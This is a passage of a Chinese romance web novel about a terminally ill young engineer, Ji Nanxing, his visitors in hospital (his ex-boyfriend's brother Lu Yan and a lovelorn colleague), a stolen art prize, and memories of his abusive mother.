他停顿了一会,才说:“每天都能过来。” 季南星:…… 那倒也不必。 他神色倦倦,猫一样地又窝回被子里,床头柜上的手机响了半天,几通电话拨进来,他也没有接起来的打算。 陆宴瞥了两眼,“不接?” 季南星懒洋洋地抱着被子,眯着眼睛打了个哈欠,眼睛蒙着一层水汽。 “陌生来电,ip本城,估计又是您的好弟弟,接了也是些车轱辘的话,拉黑都拉不过来。” 不一会,铃声断了。 季南星眉眼一弯,含笑的眼睛朝陆宴看了一眼:“看,这不就消停了。” 他钻进被子里,声音有点闷:“陆总,终归我的情况您也看到了,只能活三个月,神仙难救,就算你天天来,也不会有结果。” “我不是为了许桓。”陆宴主动屏蔽沟通,他在沙发上落座,打开电脑,正色道:“而且,我有在工作。” 三天前,陆宴已经安排公司多雇佣两个职业经理人。 最直观的结局是,集团经费每个月多出了一大笔,以及,陆宴能越来越频繁地出现在医院顶层。 昨晚,于助理询问陆宴,这种工作生态需要持续多久,他需要安排后续事宜。 陆宴沉默了会,不知道为什么感到异常烦闷。 最后,他还是回答了,说:“三个月。” 陆宴认真得近乎古板,季南星自知劝不动他,索性也不说了。 身上难受,他纤长的眼睫半垂着,正要昏昏睡去的时候,病房门响了几声。 “嗯?”他迷蒙地抬眼,看上去有些呆。 不等他起身,陆宴已经先一步动作:“我去。” 季南星以为是护工买饭回来了,便懒懒道:“你放桌上吧,我一会再吃。” 但门口的身影许久没有回应。 “怎么了?”季南星疑惑抬眼。 门口的陆宴终于挪开脚步,大门推开,见到来人,季南星瞬间坐了起来。 “徐工?你怎么来了?” 门口来的赫然是几天不见的徐青。 徐青是他的直系师兄,两人毕业后进入同一个单位工作。虽然但相识多年,但两人学术观点不和,性格脾气也互相看不上,出了名的不对付。 就算临别前对方得知他患病表露出一丝同情,但他们的关系,确实也谈不上多好。 更何况,他患病辞职,住院的消息没有通知任何人,徐青怎么会找到这儿来? 徐青手里捧着束郁金香,看到病床上的季南星时,也愣住了。 几天不见,季南星明显消瘦得多,病号服穿在他身上,显得格外松垮。曾经在会议室沉稳坚定、一针见血地提出项目难点和解决方案的人,如今却只能消瘦地躺在病床上,眉眼之间都是病容与倦色。 “你……瘦了很多。”他将花束放在桌上,许久才缓缓道:“我、我托了些关系,打听到你在这,想来看看你。” 季南星依稀记得这几天是徐青进组的日子,“你不是去西北项目组了吗?昨天大部队就过去了,你……” “我可以不去。”徐青快速打断道,他缓缓垂眼,复杂的眼神落在季南星身上,颤声问:“我听说,你分手了?是真的吗?” 季南星:“……?” 他和徐青工作上交接很多,私底下交流却少得可怜。季南星公私分得很清,工作这么多年,跟同事几乎没有私人交情。 对徐青,更是敬而远之,谁会跟工作上天天找你麻烦的人打交道? 眼下,办公室的死对头突然打听起自己的感情生活,还是男友出轨的丑闻。 季南星眼角一抽:“徐工,虽然我们工作矛盾不少,但你大老远跑来落井下石,不至于吧?” 徐青脸色一黑,像是隐忍着什么,“不是,我是……” 他话没说完,迎头突然砸过来一瓶矿泉水,差点砸到他脑袋上。 他狼狈地接着,听见一旁的青年冷漠道:“哦,抱歉,手滑了。” 没有一丝歉意的道歉。 陆宴见缝插针地找了个好时机,将一杯温水递到季南星嘴边,道:“喝点水。” 季南星正好渴了,纤细的手腕自然地握着杯壁,却没端走,而是借着这个姿势抿了几口。 徐青错愕的眼神在他们身上来回扫了两眼,愣愣道:“……这位是?” 不等季南星介绍,陆宴先一步说:“华务集团,陆宴。” 徐青愣了愣,他家是航天世家,在a市扎根多年,自然听过陆家的名头。 他只听说季南星新交的男朋友是华务的高层,却没想到,这个高层竟然会是陆家的继承人。 大名鼎鼎的陆宴都能为了爱人不顾世俗的眼光,他却因为顾忌前程和父母,这么多年,迟迟没有说出口。 徐青自嘲地笑了笑,心里一酸,“我还以为,你真的分手了。” 他说话牛头不对马嘴,季南星没听明白,“我的感情生活就不劳您费心了。徐工,你今天来,还有什么事吗?” “我……”徐青深深地看了季南星一眼,咬咬牙,道:“我请辞了西北的项目,我今天来,原本是想无论如何,都要送你一程。” 季南星见鬼地看着徐青,又扫了一眼身侧的陆宴。 这一个两个,听说人绝症,都搞这一套,季南星怀疑自己是什么慈善kpi,是个人听说他要死了都要来送一程。 病房里已经长了个陆宴,要是再生出来一个徐青,那还得了? “我一个人挺好的,不用你送。”他毫不犹豫拒绝道。 “我早知道你会这么说。” 徐青凉凉笑着,扫了一眼身旁不苟言笑的陆宴,声音不知道为什么,有些落寞:“还以为终于等到机会,没想到最后也是妄想。” 临走前,他留下一沓略显陈旧的画稿,许多纸张都卷了边。 “这是你这些年在办公室闲暇时画的画。我原本想自己留着,现在看,私藏也不太合适,还是物归原主吧。” 大门合上。 季南星半躺在床上翻看徐青带来的画稿,大多都是他随手画的草稿,杂乱无章,好几张夹杂着上班时骂领导,吐槽徐青的话。 骂得还挺难听。 他越看,眼底的疑惑越深,“他今天到底来干嘛的,找茬?” 陆宴从他手里抽走那些画,淡淡点头:“嗯,挑衅你。” 接下来几天,徐青又来了几次,但来的时机不对,多数时候季南星都在沉睡。 陆宴自然给不出什么好的待客态度。 徐青第四次捧着花到访时,陆宴拦在门口,冷冷道:“他不方便见你。” 徐青僵硬地站在门口,透过门缝,看见床上沉睡的背影,小小的一只,被薄被包裹着,显得脆弱。 “领导驳回我的请辞申请,我今晚的飞机走,今天是最后一次。” 他落寞地笑了笑,把花递给陆宴,道:“终归是我自己没勇气,才错过了这么多年。” “没错过。你告白,他也不喜欢你。” “……”徐青哽了一下,才说:“他这辈子过得辛苦,临到走了,我不想他再有什么遗憾。我没有机会陪他做想做的事,希望你能替我好好照顾他。” 陆宴依旧面无表情,“不用替你,我会照顾好他。” 不过临别前,陆宴还是大方地让开了位置,让徐青跟睡梦中的季南星告了别。 季南星醒来,看到桌上的郁金香,也猜到徐青大概来过。 手机跳出几条信息,是前几天孜孜不倦来电话的那个陌生号码发来的。 【我是徐青。南星,我现在已经在a市机场,准备飞往西北基地。明明有很多话想对你说,最后也没机会,是我太懦弱。师弟,我们相识多年,最后我却什么也做不了,是师兄没用。这辈子我们无缘,希望你幸福快乐,不留遗憾。】 季南星愣了几秒,没想到这些天来电的人居然不是许桓。 不过也是,自从陆宴出现后,从前对他进行信息轰炸的许桓突然消失得无影无踪,连续半个月,许桓似乎没再骚扰过他。 可送走了许桓,又迎来一个徐青。 季南星总觉得哪里不太对劲。 他反反复复把那几条信息看了几遍,还是品不出来。 唯有一点,他和徐青针锋相对多年,已经有四年没再以师兄弟相称。 人之将死,之前工作时的矛盾也算不得什么。他想了想,还是回了条信息。 【谢谢,也祝师兄前程顺遂、安好。】 徐青离开的第二天,季南星醒来,还是看到了花瓶里的郁金香。 “他不是已经走了吗?”他讶然道。 沙发上办公的陆大总裁敲打键盘的手停顿了半秒,说:“我买的。” 季南星愣了愣:“?” 陆宴动作恢复了正常,淡淡道:“听说你喜欢。” 季南星下意识想劝,可一想这是陆宴,劝不动,便话锋一转,道:“……谢谢,麻烦了。” “不客气。” 话题本该在此告一段落,季南星准备趁精神好,收拾了一下,到楼下花园散散步。 可他甫一起身,一直沉默的陆宴却突然开口。 手头的工作放下,陆宴黑亮的眼睛认真地注视着他。 “季南星,你还有什么愿望吗?”《 》 5、第5章 愿望吗? 季南星没什么愿望。 小时候倒是有过,想永远住在学校里,这样就不用回家,不会被打,也不用帮嫖客带路,帮肖雯买烟、卖酒。 后来大了点,愿望也更大了。 希望能考出去,去明亮点的地方生活,没人再把他关在厕所里一整晚,也没人撕烂他的笔记本。 从小到大,他的愿望都很保守,不敢太不切实际。也因此,大多数时候,他朴实无华的愿望都能如数完成。 所以陆宴问他的时候,他想了想,还是没把“想活下去”说出口。 毕竟这太不切实际,也根本不可能完成。 季南星很有自知之明。 不过,等死归等死,未来两个月也不能什么都不干。 第二天,季南星一早穿戴整齐,慢悠悠去街上老字号糖水铺买了两碗招牌甜品。 回来时,沙发上已经刷新一只西装革履,冷峻寡言的陆宴,对方见他进门,停了手里的工作。 “去哪儿了?” 季南星晃了晃手里的糖水袋,笑吟吟道:“给陆总带了点小玩意。” 两碗糖水混着牛奶摆在桌上,季南星把无糖纯苦的一碗推到陆宴面前,“喏,a大特产,你尝尝。这个挺好喝的,以前晚课后,老板摊前能齐刷刷一路排到校门口。” 陆宴先是淡淡看了他一眼,而后疑惑地低头,像是好奇那是什么东西。 “嗯?你不试试吗?” 陆宴这辈子三餐都由营养师细心调配,没吃过这种东西。但季南星极力推荐,望过来的眼睛微微弯着,眼底闪着亮晶晶的光,不知道为什么,陆宴并不想拒绝。 他看了那眼睛一会,在季南星期待的目光下舀了一勺。 “咳咳咳——” “啊?!”季南星傻眼了,忙给他拿水。 陆宴咳得天昏地暗,猛灌了几大口水才把喉头的苦味冲淡。 “陆总,你不能吃苦吗?” 陆宴拧着眉扫了眼那黑乎乎的食物,冷声道:“我为什么要吃苦。” “不是、不是那种苦!” 季南星一时说不明白,忙不迭解释道:“我给你点的无糖,这玩意不加糖就是很苦。你们霸总不都是不能吃甜,胃不好,还一堆破事的吗?” 陆宴不知道他哪来这种偏见,更正:“我爱吃甜。” 爱吃甜的霸总,少见。 为表歉意,季南星把自己没开动的糖水推过去,说:“那你吃我这份吧,这份是他家招牌,挺甜的。” 陆宴看看眼前的糖水,再看看季南星诚恳的脸,断定他一定另有他求,“你想说什么。” 果不其然,季南星狡黠笑了笑,露出两个可爱的梨涡。 “一会有个事,想请你帮忙。” 半个小时后。 季南星蜷着腿坐在沙发上,捧着糖水碗慢悠悠地喝着,看几个搬运师傅和陆宴一块忙活。 “放哪里?”陆宴扶着装好的巨型画架,看向沙发上的人。 季南星三两下把剩下的糖水解决掉,指了个方位,“阳台边吧,那儿风景好。” 一通忙活,陆总高级定制的西装泛起褶皱。 许是热了,他把外套脱下来,一直系紧的衬衫扣子也解开了几颗。陆宴常年健身,肌肉练得不错,结实的胸肌起伏着,上面起了一层薄汗,看上去又热又烫。 干完了活,陆宴随手拿起桌上的水杯,季南星眼皮一跳,刚要喊下他,但已经来不及了。 喉头滑动,一杯水三两下见了底。 季南星半抬的手尴尬地僵着:…… 陆宴垂着眼皮看他:“怎么了?” 季南星一讪,“没、没什么。” 算了,一个水杯而已,送他了。 他没多说,陆宴也不傻,他后知后觉地看向手里的杯子,印着航天研究所的logo,是季南星的。 “抱歉。”他顿了顿,发出人机一样的声音。 季南星打哈哈道:“没事没事,大家都是男的,不拘这些小节。” 虽然这话由一个性取向为男的人说出来不太合适,但他喜欢男的,陆宴又不喜欢。陆大总裁一看就是笔直笔直的纯直男,一个水杯而已,不是什么大事。 放宽了心态,他爬起来去看自己新买的画架,没留意身后的“直男”盯着手里的杯子三秒,然后无声无息地塞到刚脱下的西装外套里——藏起来。 季南星中学时期很喜欢画画,还靠卖画攒够了高中的学费生活费。后来上了a大,天天卷实习做实验,也没多余的时间再把这个技能捡起来。 那天陆宴问他,有没有什么愿望。 季南星想了半天,活是活不了的。 但在走之前,再把画笔捡起来,应该勉强还算符合实际。 他蹲在地上倒腾画具,起身时头晕没站稳,一双温热宽大的手及时握在他腰侧,季南星回神时,正对上陆宴黑沉的眼睛。 陆宴白衬衫的袖口挽到胳膊肘,露出青筋微凸的小臂,他手很大,又很烫,隔着薄薄一层病号服,热得季南星下意识颤了颤。 陆宴握着他站稳,很快松开手,没多停留一秒。 “小心点。”他低声说。 “……谢谢。” “不客气。” 对话完毕,但陆宴漆黑的眼珠子还挂在他身上没挪开。 情形和当时在华务楼下初见时同样,可气氛却有点别扭,说不上来哪里不对。 季南星懊恼地转过身倒腾画笔,浑身毛孔都写满了尴尬。 奇怪的气氛被护工姐姐一声惊呼打破。 “我们小季还会画画呀!” 护工阿姐是个四十来岁的中年妇女,嗓门大,自来熟,对着冰块脸的陆宴都能说上几句话。 她抱着崭新的几件病号服进来,一看到画架眼睛发光,“我家小女儿最近也学画呢,我之前陪她去那个什么滨海广场看展,听说xx地产家那个小儿子也要回国办展呢!” 她嗓门不小,季南星一字一句听得清楚,突然问了句:“xx地产……董事长是不是姓刘?” “刘辉,你认识?”陆宴应道。 “不能说认识。”季南星淡淡应着,听不出什么情绪。 “诶!就是他家的小儿子,刘勤庚,可出名了!年纪轻轻名校毕业,还说是那个什么奖历史上最年轻的获奖者,名声可大了!我看电视文化频道说,画展要跟文化节一起办,估计也就这俩月的事……” 阿姐朗声介绍着,季南星神色倦倦,手里的画笔也放下了。 陆宴敏锐地抬眼:“怎么了?” 季南星摇摇头,眼皮耷拉,带了股丧气,只是顾及阿姐在场,还强打着精神。 他佯装自然,漫不经心道:“今天先不画了,有点困。” 阿姐只当他是累了,大大咧咧道:“好呀,那你先休息,有什么事喊我,我就在外头嘞。” 室内静下来,季南星脸上的浅笑还虚虚挂着,只是不及眼底。 他本就长得白净,生病以后,原本浅淡的唇色显得更加苍白,尽管身上疼得厉害,他还是强撑着牵起嘴角宽慰别人,“没事,缓一会就好,也没那么疼。” 陆宴看着他苍白的嘴唇,扶他到床边坐下,“身上疼吗?” 疼,但不算不能忍受,没人问的时候还好,一有人问起来,脑袋就跟抗议似的开始剧烈地撕扯。额前渗出些许冷汗,季南星疼得四肢都使不上力气,却还是下意识摇摇头,道:“还好,就是有点累。” 陆宴不赞同地拧起眉,“季南星。” 他少见地喊季南星的名字,语气冷肃,英俊的脸绷着,周身也冷下来。 “怎么了?” “你看上去并不好。”陆宴毫不留情戳破他的谎言,“你不擅长撒谎,为什么骗我。” 季南星本就爆炸的脑袋更疼了。 “这不叫骗,这叫善意的谎言。”他用气声说着,声音疼得变了调。 陆宴固执道:“我只想知道你的真实感受,不需要善意的伪装。” 季南星没辙了。 工作的时候,他也遇到过一些执拗的老教授,但拗成陆宴这样的,他还是第一次见。 他闭了闭眼,呼了口气,如实道:“好吧,有点疼。” 或者说,不是有点。 浑身都在疼。 针扎一样的疼感从头颅蔓延开,顺着神经传达到四肢百骸,在剧痛和眩晕中,季南星只能半靠着床壁,闭着眼睛,等着绞痛和耳鸣慢慢散去。 过度剧烈的痛楚并没有减轻,浑身血液冰凉,他艰难地掀起眼皮,想请陆宴帮帮忙把他塞进被子里。两瓣苍白的嘴唇刚张开,又疼得颤抖起来,临到嘴边的话变成两道痛苦的轻吟。 “陆、嗯……” 抓着床栏的手软下来,他整个身子不受控制地瘫软,正要往前栽倒时,被一只有力的胳膊稳稳接住。 陆宴接住他,冷冽的眉眼微垂,声音很轻,说出的话像责备,却也不太像。 “不是有点疼,你又骗我。” 季南星趴在他肩头,下意识想牵起嘴角,却实在没力气,便只虚虚地朝他看去。狭长的眼睛虚弱地半睁着,因为疼痛挤出的生理泪水挂在眼尾,顺着纤长的下睫毛往下坠。 眼角的泪被微凉的指腹擦去,陆宴低沉的声音落在耳侧。 “季南星,以后别再骗我了。”《 》 6、第6章 沉沉睡去,季南星做了个诡异的梦。 梦里他变成一只毛茸茸的小北极熊,像趴在妈妈的肩背上一样,两边耳朵被轻轻揉搓着,舒适又惬意。 幽幽转醒后,他才发现不是什么北极熊。他不知不觉躺在陆宴腿上睡过去,头顶上,陆宴难得放下了工作,手法娴熟地帮他按摩太阳穴,力度轻柔适宜,脑里的轰鸣和眩晕都缓和不少。 “醒了?”陆宴说。 季南星不太好意思地起身,“抱歉,我疼睡着了。” 陆宴扶着他坐起来,“可以再睡会,半个小时后,我喊你起来吃药。” “没事,现在没那么疼了。” 陆宴还看着他,季南星失笑了声:“这次没骗你,是真的没那么疼了。” 像是在确认他话里的真假,陆宴看着他的目光近乎灼热。 被一米九的混血帅哥满心满眼地盯着,季南星脸上挂不住,忙推着人往沙发上赶:“真没事,你忙你自己的吧,我看会电视。” 电视一打开就是文化频道,恰好播到护工阿姐刚刚提过的a市文化节。 每年金秋九月,是a市一年一度的文化宣传节日,不少国内外画家都会在这个时候在海滨广场的艺术展览中心办展。 往年季南星再忙,总会抽出一两个周末去转转。虽然不再画画,但该逛的展倒是一个都没落下。 电视节目正锣鼓喧天为三个月后的画展作预热宣传,一众面孔中,季南星很快锁定画面左侧的年轻青年。 【snu著名青年画家刘勤庚,心系故土,将携毕业作品回国展览。】 十年过去,刘勤庚与记忆中的模样没什么改变,等比例长大,依旧青涩腼腆,带着浓厚的艺术气息,加上他背后不知出自谁之手的画作,很容易让人信服他的天才画家身份。 十年前,15岁的刘勤庚凭借图登艺术奖,一举成名。 新闻媒体铺天盖地宣传这位图登奖历史上最年轻的获得者,镁光灯聚焦在他身上,一时轰动。 那时季南星14岁,因为成绩优越,跳级念着高二。 他少年时画画得不错,无师自通。在很长一段时间里,卖画是他最大的收入来源。 高中时,有个工作室的老师找到他,说他很有天赋,鼓励他去参加全国比赛,让他不用担心报名费的事,只放心画。 他画了,当然也拿了奖。 只是,画是他的画,拿奖的却不是他。 当时的采访里,刘勤庚站在季南星的参赛画作前,言笑晏晏,发表谦逊的获奖感言。 刘勤庚a市一位富商的小儿子,季南星不认识他,更从来没有见过他。看到报道后,他尝试联那个工作室的老师,杳无音讯。 高考后,他花了十块钱,在网上找了律师,询问能否维权。 很可惜,阶级差距像一道不可跨越的鸿沟,老师早已拿了钱跑路,少年季南星也最终求告无门。 这些年,他没刻意搜过刘勤庚的消息,没想到临到死了,突然又见到这个名字。 屏幕里的刘勤庚和当年获奖时一样,清秀的脸上挂着浅笑,言语谦逊,满足世人对于年轻画家的一切想像。 采访最后,刘勤庚对着镜头腼腆笑道:“我是a市人,这么多年,故土一直是我创作的灵感来源。这一次回到故乡,我决定将我的第一幅画作……是的,就是获得图登艺术奖的作品。” “我会带着《晖光》一同回到a市,届时,《晖光》也会和大家一起见面。金秋时节,让我们一起相约九月。” 九月啊。 季南星关了电视,翻出病历和日历开始算日子。 半分钟后,他放下手机,盯着洁白的天花板,什么话也没说,闭上眼睛,沉沉睡去。 * 不知道是不是因为白天看到刘勤庚。这天晚上,季南星久违梦见大学以前的事。 如果用徒步来形容季南星的一生,他的前半生大概是一段未开发的泥泞道路,走得艰难,爬得费劲,得两腿并用,走得四肢半废面目全非,才能勉强走到名为“普通人”的路上。 能吃苦不一定是福,但一定很耐苦。 小时候镇上的邻居看不上他赌狗的爸和拉皮条的妈,但见着他,却还是会感慨又心疼说一句:“这孩子命苦,但也真能吃苦。” 只是季南星也不是生下来就能吃苦的。 五岁之前,赌狗爸的负债还没暴雷,母亲也只是个爱打麻将的漂亮主妇,他勉强过了一个虽然有打有骂,但不至于痛苦的童年。 直到五岁那年,赌狗爸把自己酒驾撞死,一百万的赌债暴雷,一下全压在母亲肖雯一个人肩上。 那时季南星还太小,不明白一个年轻女人带着稚童要面临的社会压力和经济压力有多大。 有一回肖雯打他,骂他赔钱货,季南星受不住疼,大喊:“你对我一点都不好,你不是我妈妈!” 他把自己攒的两毛五毛零钱翻出来,推到肖雯面前,“我不要你当我的妈妈了,我不要花你一分钱!” 肖雯冷笑,扯着他的头发大骂:“要跟我算账是吗?从小到大我在你身上花了多少钱,才几毛钱就有底气跟我叫嚣了?你是个什么东西,要不是我好心养你,你现在不知道死哪里去了!” 小时候,季南星时常怀疑自己不是肖雯的孩子。 毕竟没有哪个母亲会像肖雯这样,让自己的小孩子去卖假酒、去帮嫖客带路、买情趣用品、买避孕套。 肖雯一个月前因病去世。 她走以后,季南星从来没有梦见过她,却在这天晚上,梦见了年轻时的肖雯。 肖女士长得好看,比荧幕上的明星毫不逊色。 梦里的肖雯打扮得很隆重,穿着红色的连衣裙,卷了大波浪,本就明媚的五官画上精致的妆,不像个为丈夫还赌债的苦命女人,倒像上流社会里的名媛贵妇。 梦中,季南星七岁。 那天,恰好是一年一度的a市夏日节,公园有烟花大会。 肖雯带着季南星坐缆车到山顶,却没像其他人一样到观景台等烟花。她牵着季南星顺着一条偏僻的小道往上走。 山路尽头是一幢像城堡一样的房子。 他们躲在大门不远处,远远望着里边来往的车辆。车衣在别墅的灯光下亮闪闪的,进出的人打扮得体,非富即贵。 夜晚的烟花很漂亮,只是从山上回来后,肖雯一直哭。 季南星拿纸巾给她,“妈妈,你不要难过,我听你的话,我去帮你买烟,你不要哭了。” 纸巾被打落在地,肖雯红肿的眼睛恶狠狠看着他:“都是你的错!我当时就应该把你丢掉,要不是你,我怎么会变成现在这个样子!要不是因为你……” 厉声质问像鬼怪的咆哮,季南星吓得不敢出声,只能把纸巾捡起来拍干净,留着自己用。又抽了一张干净的递过去。 这回他没再敢说话。 肖雯没接,静静哭了一会,久到季南星以为纸巾派不上用场的时候,肖雯又突然抱住他,哭着道歉:“对不起小星,是妈妈不好,是妈妈说错了话……对不起,你是我儿子,你永远都是我儿子……” 她哭得疯疯癫癫,季南星缩着身子被她抱着,沉默地看着破旧的天花板,希望这个夜能早点过去。 季南星至今依然不知道,那一年夏日节,肖雯到底等的是什么。 就像他到现在也不知道,他考上a大那年,肖雯怎么会突然转了性,不再做她的皮条生意,用存款开了家小小的美容院,干起正经营生。 “看什么看,我都几岁了,还干这行,半老徐娘都嫌老了!”肖雯叼着烟,漫不经心道:“别以为我是为了你,等你毕业了吃上国家饭,记得好好赚钱养我。” 美容院开起来后,肖雯没再碰过拉皮条的活,她赚了点小钱,偶尔给季南星发生活费。 季南星生活简单,又有奖学金,没什么花销,便给她转回去。 肖女士就打电话骂他:“给你的你就拿着,你是不是就见不得我赚钱?” 季南星说:“没有。” 肖雯顿了顿,声音轻了点:“放心用吧,干净钱。我看新闻说你们实习那地又干又冷,买点暖和衣服。” 季南星想说他们基地有暖气,但肖女士少见地关心他,他突然又不想说了。 那段时间是他和肖雯相处最融洽的时候,没有从前的隔阂和打骂,像最普通的母子,嘴上说得不太好听,但关心和爱,好像终于落到实处。 只可惜,时间太短。 平常和缓的母子关系没能持续太久,一直到肖雯癌症去世,他们依然没有跟彼此说过一声“爱”。 …… 梦醒后,季南星意识还不太清晰。 最初的几分钟里,他以为自己还陷在梦里。vip病房的豪华装潢,头顶亮白的灯晃得他神思不清。 直到身上剧烈的疼痛从四肢百骸漫出来,他才惊觉,他又回到了现世。 陆宴不知道什么时候已经离开,病房内空荡荡,久违地没有一丝活人气。 接连被陆大总裁骚扰了半个月,这会醒来没见着人,季南星竟然觉得意外。 他低低笑了笑,为自己奇怪的失落感到离奇。 药放在桌上,往常都是沙发上的陆宴到点端着温水过来,提醒他吃药。这会人不在,季南星只能自己动手。 他掀开被子下床,仅仅是这么简单的动作,已经耗费了他所有精力,一路扶着墙到桌边,他刚够上水杯,却猛地一阵脱力。 哐当——玻璃碎掉的声音。 水杯掉落在地,他整个人跌倒在地上,一手撑着桌面勉强借力,煞白的脸上没有一丝血色,胃部绞痛、胸腔闷堵,四肢每一处毛孔都叫嚣着疼。 被冷汗浸湿的碎发紧贴着眉骨,瘦削修长的手指抓紧了沙发的扶手,忍痛忍到青筋凸显、指节发白,下唇几乎被咬出伤口。 他强撑起来,颤着手转开药瓶盖子,却因为疼得视觉昏眩,好几粒药片都掉在地上。没了水,也没力气再折腾,他生生将几颗药片吞咽下去。 浓重的苦味在舌尖漫开,剧烈的咳嗽让他彻底脱了力。 他整个人跪在沙发边,咳得肩膀发颤,脖颈发红,眼里浸满了水汽,生理泪水不受控地坠下来。 直到一阵平稳的脚步声传来,背上覆来一只宽大温热的手掌,季南星才艰难地抬着发红的眼睛望过去。《 》 7、第7章 腰上一紧,陆宴稳稳将他横抱起来。 季南星没力气挣扎,只能顺从地靠在他肩窝里,一阵清淡的冷香钻进鼻腔,冲淡了喉口干涩的苦味。 “……谢谢。”他虚弱地开口,声音又干又涩。 陆宴把他抱到床上,不赞同地说:“想吃药,可以喊我。” 季南星下意识想反驳说“没事,我自己可以”,但想起方才的狼狈,以及上次那个失败的“善意的谎言”,临到的嘴边的话又咽回去。 “好,下次喊你。” 他长得白净乖巧,乌黑柔软的发微湿地垂着,眼尾微弯,含笑的眼睛朝陆宴望过去,顺从又温驯。 但陆宴犹嫌不足,监督季南星把一杯温水喝完。他不由分说拿出季南星的手机,强制他添加了自己的工作号和私人号,末了,又加了于助理的所有联系方式。 确保季南星设置完紧急联系人后,陆宴才满意地点头,道:“我明天有事,应该不会过来。” 季南星“嗯”了一声,却发现陆宴还固执地看着他。 在对方沉默的注视里,季南星悟了悟,试探道:“那明天吃完药,跟你汇报一下?” 陆宴脸色缓和了些,却还是没挪开眼神。 季南星又悟了悟:“……或者明天有什么事,我就联系你,和于助理?” “嗯。” 这回,陆大总裁终于满意地点了点头。 他开始收拾地上的碎玻璃。 季南星躺在床上,看着陆宴弯腰干活的背影,突然感到一阵前所未有的怪异感。 他缓慢眨了眨眼睛。 前男友他哥,是不是管得有点过于多了? 第二天,天气不错,季南星精神也比昨天好了许多。 陆宴昨天请了假,今天也确实没来。 昨天临走前,他把所有药品多备了一份,放到床边。 考虑到季南星很擅长用“善意的谎言”诓骗别人,陆宴额外给了护工阿姐一笔工资,让她每隔半个小时进门查看情况。 护工姐姐是个格外自来熟的热心人,严格贯彻陆总的指示,半个小时来一次,每次进门也不好意思一句话不说,便拉着季南星唠嗑。 “今天是夏日节,沧闻公园的烟花可热闹了!咱这个阳台位置好,晚上到点了,也能瞧见!” “夏日节?”季南星诧异地抬眼。 “是呀,6月10,每年这会都有烟花大会,我小女儿可爱看了!” 季南星愣了会,倒没想到这么巧,昨晚他才梦见小时候的那场烟花,今天就到了日子。 趁着今天状态不错,他稍微收拾了下,准备出门走走。 脱掉白蓝相间的病号服,季南星换上平常的短袖长裤,干净清爽,清润的模样不像是命不久矣的人,像是刚出社会不久的青涩大学生。 沧闻山是a市远近闻名的度假胜地,离医院不远。季南星买了张缆车票,随着缆车上升,医院和城市的缩影越来越远。 车厢里观光客热热闹闹,举着相机自拍的小情侣和打着视频电话的大爷……白噪音熙熙攘攘,倒是冲散了脑袋里烦人尖锐的耳鸣。 夏日节人挤人,他避开人群,拐进一条偏僻的小道。可沿着小道走了一会,也没看见观景台的台阶,反而越走越偏。 手机没了信号,地图也打不开,季南星正琢磨着原地返回还是继续走,突然手背一凉。硕大的雨滴砸下来,随后越来越密,变成一场瓢泼大雨。 路尽头有几道灯光亮着,季南星小跑过去,路况越来越熟悉。 直到庞然大物的庄园再一次跃进眼底,季南星才后知后觉,这就是肖雯那年带他来的别墅。 而别墅大门前,站着个熟悉的人影。 陆宴一身休闲装牵着狗,回身见到季南星时,往常冷漠淡定的脸上,难得有了一丝生动的表情。 * 季南星洗完澡出来的时候,陆宴正在客厅处理工作。 管家是个50来岁的阿姨,自来熟,“衣服很合身呢,季先生的身量穿陆先生以前的衣服刚刚好。” “谢谢阿姨,劳你费心了。”李南星接过她手里端着的热汤。 “不麻烦不麻烦,陆先生不常过来,我在这儿啊,成天闲着也是闲着。难得有客人来,我高兴呢。” 晚餐做得丰盛,都是a市招牌菜,季南星吃饭不算挑,只是不吃葱和辣,不巧,饭菜占了俩。 季南星还没来得及说什么,这两道菜就被一双大手挪开。 陆宴朝管家道:“他不吃这些,再做点清淡的吧。” 季南星愣了愣,没想到这半个月,陆宴连他忌口什么都摸清了。 “哎呀,抱歉季先生,是我考虑不周到,应该先问过您的。海鲜您过敏吗?不过敏的话,我给您熬个海鲜粥,养胃的。” “不用麻烦的阿姨,这菜这么多,我够吃的,光喝汤都喝饱了。”季南星赶忙说。 但管家不由分说把两道菜端走,“哎,没事儿!我就乐意给你们年轻人做饭吃,你们先将就喝点汤,粥马上就好!” 管家一走,客厅瞬间静了下来。 窗外雨势未歇,雨声敲打着玻璃,灯光落在两人之间,拉出一道浅浅的阴影。 “陆总,今晚麻烦您了。” 陆宴没接话,只盯着他,说:“袖口长了。” “嗯?” 衣服是陆宴学生时期的尺码,陆大总裁人高马大,就算季南星178的身高,站在陆宴身边也矮了小半个头,只是没想到这人上学就长这么大个。 “你的衣服,我穿起来太大了。”季南星把袖口卷上去,露出一截瘦削白皙的手腕。 陆宴余光瞥了一眼,“怎么今天出来了?” “本来想趁还能动出来走走,没想到赶上下雨了,运气不太好。”季南星说着,又环顾了城堡一周,问:“陆总,这儿……是你家?” “是我母亲的居所。”陆宴淡淡道:“她身体不好,偶尔回国,会在这里疗养。” 季南星隐约记得陆宴的母亲是著名华侨慈善家白嗣桐的独生女,白小姐性格清冷,不太爱在媒体前抛头露面,国内关于她的信息很少。 陆宴没打算多说,季南星也没再问。 天色太晚,他最终在山上留宿。管家送来一套睡衣,不难猜也是陆宴的衣服。 陆宴身量比他大,加上最近季南星瘦了许多,贴身合称的睡衣愣是让他穿出oversize的意味。 宽大的睡衣堪堪盖住大腿根,季南星艰难地卷着过长的袖口。 这时,紧闭的房门突然推开,走廊的光亮泄进来,换衣服的动作猛地一顿。 门外的陆宴也生生僵住了几秒。 季南星背对着门,只穿了件宽大的睡衣,勉强盖住臀部,过大的领口垂下来,露出大半白皙的肩背,修长流畅的脖颈脆弱地弯着,瘦削的蝴蝶骨微微凸起,两条长而直的腿在灯光下呈现一种丝绸般的嫩白。 突如起来的闯入,季南星错愕了一瞬。 狭长的眼底闪过几丝慌乱,他慌忙拾起身边的衣服往身上遮掩,却也没挡住什么,反倒让陆宴精确地回忆起来——这是他大学时的睡衣。 穿过很多次。 而现在,这套衣服贴着季南星的肌肤,没有任何阻隔。 这个认知让陆宴僵硬的时间延长了半秒。 “陆总……你进来不敲门吗?”季南星梗着脖子说道。 陆宴终于想起来别开眼,却没有多少反省的意思:“敲过,你没听见。” 季南星顿了顿,后知后觉把耳机取下来。 陆宴平静的目光像降了温的蜡油,没多少实际伤害,但落在肌肤上,还是让人不自在。 季南星拽着衣服,僵硬问:“有什么事吗?” 陆宴视线在他敞开的领口停留了几秒,而后挪开。 “雨停了,15分钟后有烟花。” * 别墅顶楼是一个露天阳台,从高处望下去,a市的城市夜景和滨海海岸线尽收眼底,得天独厚的地理位置,每一处风景都充满金钱的味道。 陆宴带他走到阳台南侧的沙发区,是整个a市看烟花最好的位置。 